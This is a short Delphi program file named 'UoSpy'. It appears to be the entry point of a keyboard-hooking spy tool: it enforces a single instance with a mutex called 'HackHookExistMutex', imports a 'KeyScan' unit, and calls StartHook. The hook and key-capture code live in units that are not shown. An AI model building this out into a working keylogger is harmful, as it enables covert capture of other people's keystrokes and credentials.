- program UoSpy;
- uses
- Windows,
- Messages,
- SysUtils,
- Proc in 'Proc.pas',
- Win in 'Win.pas',
- KeyScan in 'KeyScan.pas';
- const
- HookMutexName='HackHookExistMutex';
- var
- HookMutex:thandle;
- {$r *.res}
- begin
- HookMutex:=CreateMutex(nil,True,HookMutexName);
- if GetLastError<>ERROR_ALREADY_EXISTS then
- begin
- Init;
- StartHook;
- Run;
- end else
- begin
- Closehandle(HookMutex);
- // messagebox(0,pchar('Application is Runing'+#13+'Exit Ok?'),pchar(''),0);
- end;
- end.